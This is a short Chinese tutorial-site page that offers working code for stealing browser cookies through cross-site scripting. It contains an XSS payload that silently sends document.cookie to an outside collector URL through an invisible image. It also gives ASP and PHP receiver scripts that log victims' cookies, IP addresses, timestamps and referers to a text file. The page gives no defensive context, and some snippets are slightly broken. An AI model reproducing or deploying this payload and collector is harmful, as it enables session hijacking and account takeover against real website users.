欢迎来到福编程网,本站提供各种互联网专业知识!

asp php XSS获取cookie的代码

发布时间:2016-08-29 作者:佚名 来源:互联网
<script>document.write('<imgsrc="http://url/news.asp?msg='+document.cookie+'"width=0height=0border=0/>');</script>news.asp代码:<%msg=Request.ServerVariables("QUERY_STRING&

news.asp代码:

<%

msg=Request.ServerVariables("QUERY_STRING")

testfile=Server.MapPath("cook.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.Writeline(""&msg& "")

thisfile.close

set fs = nothing

%>

PHP版代码:

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$time=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cook.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'

IP: ' .$ip. '

Date and Time: '

.$time. '

Referer: '.$referer.'

');

fclose

?>

相关推荐